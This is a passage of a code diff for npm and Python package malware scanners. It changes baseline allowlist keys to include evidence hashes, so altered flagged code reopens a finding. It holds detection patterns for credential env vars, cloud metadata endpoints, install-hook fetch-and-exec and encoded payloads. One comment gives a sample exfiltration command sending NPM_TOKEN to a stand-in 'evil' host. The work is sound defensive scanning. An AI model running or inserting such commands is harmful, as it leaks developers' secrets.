digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
snippet = f"{snippet} sha256:{digest}"
return snippet
def _stream_overflow_digest(
matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> tuple[int, str]:
"""A single digest binding the LOGICAL line (the bound bracket-group context,
not just the regex match text) of every overflow match in the iterable, plus
the count of matches folded. Streams the matches (any iterable of re.Match) so a
huge overflow never materializes a list. Whitespace-normalized to match
_evidence_hash so a reindent does not reopen."""
h = hashlib.sha256()
count = 0
for m in matches:
_fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
count += 1
return count, h.hexdigest()
def _fold_overflow_match(
h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> None:
"""Fold one overflow match's whitespace-normalized logical-line context into the
running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
fold in _outbound_host_evidence so both produce the identical digest."""
idx = bisect.bisect_left(nl, m.start())
ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
h.update(b"\x00")
h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
def _evidence(
text: str,
pat: re.Pattern,
max_chars: int = 200,
) -> str:
m = pat.search(text)
if not m:
# Record every match (not a truncated sample) so an extra match appended to an
# already-flagged file changes the evidence instead of riding the first few.
# Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
# (binding their logical-line context) so the evidence string stays bounded
# while a changed payload past the cap still reopens. The matches are streamed
# from finditer rather than materialized into a list: a generated file can
# repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
# re.Match per occurrence before applying the cap would stall or OOM the scan.
it = pat.finditer(text)
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
if not shown_matches:
return ""
start = max(0, m.start() - 30)
end = min(len(text), m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
return snippet
lines, sl_blanked, ml_blanked, nl = _index_text(text)
shown = [
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
]
# Fold the rest (past the cap) into one digest as they arrive, never building a
# second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{digest}")
return " | ".join(shown)
def _ioc_evidence(text: str, needle: str) -> str:
"""Matched-line context (with bracket-group continuation) for a literal IOC
needle, so a changed adjacent fetch/exfil body reopens the key instead of
riding the bare constant. Falls back to the needle itself if, defensively,
nothing matches (the caller only reaches here when ``needle in text``)."""
return _evidence(text, re.compile(re.escape(needle))) or needle
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
body = scripts.get(hook)
if not isinstance(body, str):
continue
# Pin the whole lifecycle body via one digest shared by every lifecycle
# finding below: a script that keeps the matched signal but changes
# another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
# https://evil`) must reopen. The stored evidence is a bounded matched
# snippet plus this digest, never the entire body, so `--write-baseline`
# on a package with a multi-MiB install script does not bloat the baseline
# JSON while the digest still binds the full body. Normalized to match
# _evidence_hash so a reindent alone does not reopen, while whitespace
# inside quoted strings is preserved so a changed quoted payload does.
body_digest = hashlib.sha256(
_canon_preserve_strings(body).encode("utf-8", "replace")
).hexdigest()
if _LIFECYCLE_FETCH_EXEC.search(body):
findings.append(
Finding(
@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"lifecycle-fetch-exec ({hook})",
evidence = body,
evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` fetches an external "
"resource and pipes/chains it to an "
@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-path-in-lifecycle ({hook})",
evidence = body,
evidence = (
f"{_evidence(body, re.compile(re.escape(path_substr)))} "
f"body-sha256:{body_digest}"
),
detail = (
f"`scripts.{hook}` references {why} "
f"({path_substr!r}); install-time access "
@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-env-in-lifecycle ({hook})",
evidence = _evidence(body, _JS_ENV_TOKEN),
evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` references a credential "
"env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
return False
def _outbound_host_evidence(text: str, host: str) -> str:
"""Evidence capturing the host WITH its outbound context (URL path, fetch
call, host config), so a changed path/headers/body reopens the key instead
of riding the bare host literal. Falls back to the host if none matches."""
host_re = re.escape(host)
patterns = (
re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
re.compile(
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
re.IGNORECASE,
),
# Host-config form: capture the whole line (path/headers/body), so a
# changed outbound payload on the same hostname line reopens the key.
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
)
# Record EVERY outbound context for the host, not just the first form that
# matches: a file that already has a baselined URL for the host and later adds
# a separate host-config request (or a second URL) must change the evidence so
# the new payload cannot inherit the old key. Forms are claimed in order, and a
# region already claimed by an earlier form is skipped, so the common
# single-context case keeps its existing snippet. Each form is capped at
# _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
# minified file cannot make the overlap check quadratic; once chosen is full
# the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
# list, so a host repeated millions of times cannot OOM the scan) and an added
# context still reopens.
lines, sl_blanked, ml_blanked, nl = _index_text(text)
claimed: list[tuple[int, int]] = []
chosen: list[re.Match] = []
overflow_count = 0
overflow_hash = hashlib.sha256()
for pat in patterns:
for m in pat.finditer(text):
if len(chosen) < _MAX_EVIDENCE_MATCHES:
# Overlap check runs only while filling the display list, so
# `claimed` is bounded by the cap and this stays O(cap) per match
# (not quadratic), while every later match is still counted below.
if any(m.start() < e and s < m.end() for s, e in claimed):
continue
claimed.append((m.start(), m.end()))
chosen.append(m)
else:
_fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
overflow_count += 1
if not chosen:
return host
chosen.sort(key = lambda m: m.start())
shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(shown)
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
text = _strip_js_noncode(text)
# IOC substrings (literal, case-sensitive).
# IOC substrings (literal, case-sensitive). Evidence is the matched-line
# context (with its bracket-group continuation), not the bare needle: an IOC
# host/hash left in place while the adjacent fetch/exfil body changes must
# reopen the key instead of riding the constant.
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
if needle in text:
findings.append(
@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
# Cred surfaces, tier 1: hosts with no legit use; bare substring.
# Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
# (path/headers/body) when present so a changed exfil payload on the same call
# reopens; falls back to the bare host when it is not in an outbound call.
for needle, why in CRED_HOST_ALWAYS_BAD:
if needle in text:
findings.append(
@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (always-bad)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}); no legitimate "
"frontend use of this surface"
@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (outbound)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}) in an outbound "
"call / URL / host config; a defensive blocklist "
@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
# Bumped when the entry-key semantics change. v2 keys on the package-relative
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
# in a different directory. A pre-v2 baseline with entries is ignored (fail
# closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 2
# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
# payload under an already-listed package/path/pattern is not auto-suppressed; v2
# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
# with entries is ignored (fail closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 3
def _norm_pkg_name(display: str) -> str:
@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, pattern."""
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the matched evidence. The npm snippet carries no line
markers, so it is already version-stable; whitespace outside string literals is
collapsed (reindent-stable) while whitespace inside literals is preserved, so a
changed payload body reopens but a formatter reindent does not."""
canon = _canon_preserve_strings(evidence or "")
return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: normalized package, package-relative path, pattern, and a
hash of the matched evidence -- so changed flagged code under an already-listed
package/path/pattern reopens instead of riding the reviewed entry."""
return (
_norm_pkg_name(f.package),
_relpath_in_package(f.filename),
f.pattern,
_evidence_hash(f.evidence or f.detail),
)
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
# v2 shares v3's package-relative keying, so its entries migrate by recomputing
# the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
print(
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
file = sys.stderr,
)
return set()
keys: set[tuple[str, str, str]] = set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg_name(e["package"]),
_relpath_in_package(e["file"]),
e["pattern"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
"""Persist at-or-above-threshold findings as an allowlist for triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
if _SEVERITY_RANK[f.severity] > threshold_rank:
continue
@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
if key in seen:
continue
seen.add(key)
evidence = f.evidence or f.detail
entries.append(
{
"package": _norm_pkg_name(f.package),
"file": _relpath_in_package(f.filename),
"pattern": f.pattern,
"severity": f.severity,
"evidence": (f.evidence or f.detail)[:240],
"evidence": evidence,
"evidence_hash": _evidence_hash(evidence),
}
)
doc = {
"_comment": (
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
"finding manually judged benign. Matched on (package, "
"package-relative path, pattern); evidence/severity are for review "
"only. Regenerate with --write-baseline AFTER reviewing every line."
"package-relative path, pattern, evidence hash); a new payload under "
"an already-listed package/path/pattern reopens. severity is for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": _BASELINE_SCHEMA_VERSION,
"entries": entries,
@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

View file

@ -1,5 +1,5 @@
{
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 2,
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 3,
"entries": []
}

View file

@ -43,9 +43,10 @@ False positives:
examples and `>>>` doctests cannot trip a finding. Residual findings that
are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
test fixture) are suppressed via a reviewed baseline allowlist, matched on
(package, basename(file), check). A NEW kind of finding in an already-listed
file is a different check and still fails. This mirrors the Hugging Face Hub
approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
(package, package-relative file, check, evidence hash). A new check, or
changed flagged code under the same check, reopens the finding; version
bumps and line shifts do not. This mirrors the Hugging Face Hub approach
(ClamAV/picklescan: low-FP, signature/structural, surface status).
Exit codes:
0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
@ -55,6 +56,8 @@ Exit codes:
import argparse
import atexit
import bisect
import hashlib
import io
import json
import os
@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
re.DOTALL,
)
# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
# Cloud metadata / IMDS endpoints
RE_CLOUD_METADATA = re.compile(
r"169\.254\.169\.254" # AWS/Azure/GCP IMDS
@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Large base64 blob
if RE_LARGE_BLOB.search(content):
blob = RE_LARGE_BLOB.search(content).group()
# Digest every blob (not just the first 120 chars, and not just the
# first blob), so a later payload that keeps the prefix or appends a
# second encoded blob reopens.
blob, digest = _blob_digest(content)
findings.append(
Finding(
CRITICAL,
package,
filename,
f".pth has large base64-like blob ({len(blob)} chars)",
blob[:120] + "...",
f"{blob[:120]}... sha256:{digest}",
)
)
# Catch-all: any import line in .pth if nothing else triggered
# Catch-all: any import line in .pth if nothing else triggered. Bind every
# line through a digest so an appended/swapped import reopens the key, but cap
# the displayed text so a large .pth of benign-looking imports cannot dump up
# to the archive member cap into the logs or baseline JSON.
if not findings and import_lines:
evidence = "\n".join(import_lines[:5])
if len(import_lines) > 5:
evidence += f"\n... ({len(import_lines)} import lines total)"
evidence = _cap_line("\n".join(import_lines))
findings.append(
Finding(
HIGH,
@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
size = len(content)
if size > 500 and import_lines:
# Pin the content so a different payload of the same size/import count reopens.
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
findings.append(
Finding(
HIGH,
package,
filename,
f"Unusually large executable .pth ({size} bytes)",
f"{len(import_lines)} import line(s) in {size}-byte .pth file",
f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
)
)
@ -629,6 +641,13 @@ def _hidden_payload_findings(
removed = "".join(o if o != s else " " for o, s in zip(original, code))
out = []
# The visible exec/eval line is what makes the hidden string executable, so
# bind it into every finding's evidence: otherwise a reviewed false positive
# that keeps the same hidden text but flips a harmless `eval("1+1")` to
# `exec(__doc__)` (now running the payload) keeps the same key and stays
# suppressed. Taken from `stripped` (real code), where the exec/eval lives.
trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
def _hidden(pat):
# Carrier present in a blanked region but NOT in real code. A carrier in
# real code is already caught by the normal check, so restricting to
@ -643,7 +662,7 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with payload hidden in a docstring/string",
f"{label}: {_extract_evidence(removed, pat)}",
f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
)
)
# Fetch-then-run dropper: a network call AND an os/subprocess exec that both
@ -657,7 +676,9 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with hidden network+exec payload",
f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
f"exec: {trigger}\n"
f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
f"{_extract_evidence(removed, RE_SUBPROCESS)}",
)
)
return out
@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# openssl encryption + network/key material (encrypted exfiltration)
if has_openssl_cli and (has_network or has_keys):
# Bind whichever side(s) co-occur so a changed endpoint or key reopens.
evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_keys:
evidence.append(f"Key: {_embedded_key_evidence(content)}")
findings.append(
Finding(
CRITICAL,
package,
filename,
"openssl encryption + network/key material (encrypted exfiltration)",
f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
"\n".join(evidence),
)
)
@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# Obfuscated payload: base64 + exec/eval + large blob
if has_base64 and has_exec_eval and has_blob:
# Digest every blob too: a payload may sit on a separate line from the
# decode call, and a second encoded blob may be appended later, so
# binding only the base64/exec lines or the first blob would miss it.
_, blob_digest = _blob_digest(content)
findings.append(
Finding(
HIGH,
@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
filename,
"base64 decode + exec/eval + large encoded blob",
f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
f"Blob: sha256:{blob_digest}",
)
)
@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key + network calls (encrypted exfil pattern)",
f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
f"Key: {_embedded_key_evidence(content)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
# Anti-analysis + any other suspicious pattern
if has_anti and (has_network or has_subprocess or has_exec_eval):
# Bind the suspicious side too so a changed payload reopens.
evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_subprocess:
evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
if has_exec_eval:
evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
findings.append(
Finding(
HIGH,
package,
filename,
"Anti-analysis/sandbox evasion + suspicious behavior",
f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
"\n".join(evidence),
)
)
# DNS exfiltration with dynamic hostnames
if has_dns_exfil and (has_base64 or has_network or has_creds):
# Bind the co-occurring side so a changed exfil channel reopens.
evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
if has_base64:
evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_creds:
evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
findings.append(
Finding(
HIGH,
package,
filename,
"DNS exfiltration / tunneling patterns",
_extract_evidence(content, RE_DNS_EXFIL),
"\n".join(evidence),
)
)
@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key material",
_extract_evidence(content, RE_EMBEDDED_KEYS),
_embedded_key_evidence(content),
)
)
@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
return findings
_MAX_MULTILINE_LINES = 12
# How far a single matched call is followed over its bracket continuations. A call
# that genuinely closes is bound all the way to its real close, up to the hard
# limit, so a ``requests.post(`` with many option/header lines before ``data=``
# binds its whole argument list in the digest and a changed payload on a late
# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
# and let a later ``data=``/headers change ride the baseline key). A bracket that
# never closes within the hard limit is a miscount (a multi-line string the
# single-line blanker cannot mask) or a stray opener, so it is bound only to the
# soft cap and cannot swallow unrelated code.
_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed
_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it
# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
# line, so a packed payload cannot dump unbounded content into the evidence and
# baseline while a change past the cutoff still changes the digest and reopens the
# finding. The npm scanner bounds its snippets the same way.
_MAX_LINE_CHARS = 200
# Cap on recorded spans in one evidence string; beyond it the remaining spans are
# folded into a digest so a file with thousands of matching lines cannot build a
# multi-megabyte evidence blob, while an added/removed span past the cap still
# changes the key. Comfortably above the largest real baseline entry.
_MAX_EVIDENCE_SPANS = 96
def _cap_line(code: str) -> str:
"""Bound a single line's displayed code: return it verbatim when short, else a
``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
pinned (fail-closed) without recording the entire line."""
if len(code) <= _MAX_LINE_CHARS:
return code
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
_PY_TRIPLE = ("'''", '"""')
def _ends_with_odd_backslash(s: str) -> bool:
"""True if ``s`` ends with an odd run of backslashes, i.e. a trailing
backslash that escapes the newline (a string/line continuation) rather than a
literal ``\\\\`` pair."""
return (len(s) - len(s.rstrip("\\"))) % 2 == 1
# Single-line quoted string literal; blanks complete one-line strings (the legacy
# view) so the single-line and multi-line blanked spans can be unioned below.
_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
def _blank_code_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single- and triple-quoted, escapes honoured) with
spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
string intact. Bracket counting then never miscounts a ``)`` that lives inside
a string -- including a triple-quoted string spanning several lines, which a
per-line regex cannot blank."""
out: list[str] = []
in_triple: str | None = None # active ''' or \"\"\" delimiter, or None
in_string: str | None = None # active ' or " continued via a trailing backslash
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_triple is not None:
end = line.find(in_triple, i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
in_triple = None
continue
if in_string is not None:
# A single-/double-quoted string continued onto this line by a
# backslash-escaped newline. Resume blanking until its closing quote;
# if this line also ends on an odd trailing backslash the string
# continues again, otherwise it closes (or is unterminated) here. A
# per-line regex blanker cannot see this, so a `)` on the
# continuation line would otherwise be counted as code and close the
# call early -- dropping the URL/body lines that follow.
j, closed = i, False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == in_string:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
in_string = None
i = j
else:
i = n
if not _ends_with_odd_backslash(line):
in_string = None # unterminated without continuation; stop
continue
ch = line[i]
if ch in "'\"":
if line[i : i + 3] in _PY_TRIPLE:
delim = line[i : i + 3]
end = line.find(delim, i + 3)
if end == -1: # opens a triple string that runs past this line
buf.append(" " * (n - i))
in_triple = delim
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
continue
j = i + 1 # single-line string; skip to its closing quote
closed = False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == ch:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
i = j
else:
# Ran off the line without closing: an odd trailing backslash
# escapes the newline and continues the string onto the next
# line, so remember the quote; otherwise it is just unterminated.
i = n
if _ends_with_odd_backslash(line):
in_string = ch
continue
buf.append(ch)
i += 1
out.append("".join(buf))
return out
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
call; tracking the running minimum keeps that opener visible so the call's
argument lines still bind. Only bracket characters are walked (pulled out with
one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _scan_line_end(view: list[str], start: int) -> int:
"""1-based line where the statement at ``start`` closes its brackets in
``view`` (one blanked view of the file). A call that closes is followed to its
real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
bracket that never closes within that hard limit (a stray/miscounted opener) is
bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
so a closer that precedes the opener on the same line does not cancel it."""
depth = 0
hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
for j in range(start, hard + 1):
ln = view[j - 1]
left, right = _bracket_lr(ln)
depth = max(0, depth - left) + right
if ln.rstrip().endswith("\\"):
continue # explicit backslash continuation: the call (e.g. its `(` and
# URL/body) is on the next physical line, so do not close here
if depth <= 0:
return j
# Never closed within the hard limit: bind only the soft cap so a stray opener
# cannot bind a giant unrelated span.
return min(len(view), start + _MAX_CALL_LINES - 1)
def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
"""1-based line where the statement opened at ``start`` closes, so a multi-line
call binds its argument lines (a changed URL/body on a continuation line
reopens, not just the API line). Returns the LARGER of the spans found in the
single-line-blanked view (legacy: a payload embedded inside a string still
counts, so its brackets bind the call) and the multi-line-blanked view (a
bracket inside a triple-quoted string argument no longer closes the call
early). Taking the union never shrinks the bound span below either view, so
neither blanking strategy can drop a continuation line a malicious change
relies on."""
return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
def _extract_evidence(
content: str,
pattern: re.Pattern,
max_matches: int = 3,
max_matches: int = 0,
) -> str:
"""Pull matching lines as evidence snippets.
"""Pull matching lines as evidence snippets (``max_matches=0`` means all).
Falls back to a whole-content search when the pattern only matches across
line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
anti-analysis / archive-staging finding could report empty evidence, making
the baseline entry impossible to review.
Records every matching line in full, not a truncated sample, so an extra
match (or extra code on a long line) appended to an already-flagged file
changes the evidence and the baseline key instead of riding the first few.
Leading whitespace is kept so a flagged line moved out of a guarded block
reads as changed. Each single-line match is extended over bracket
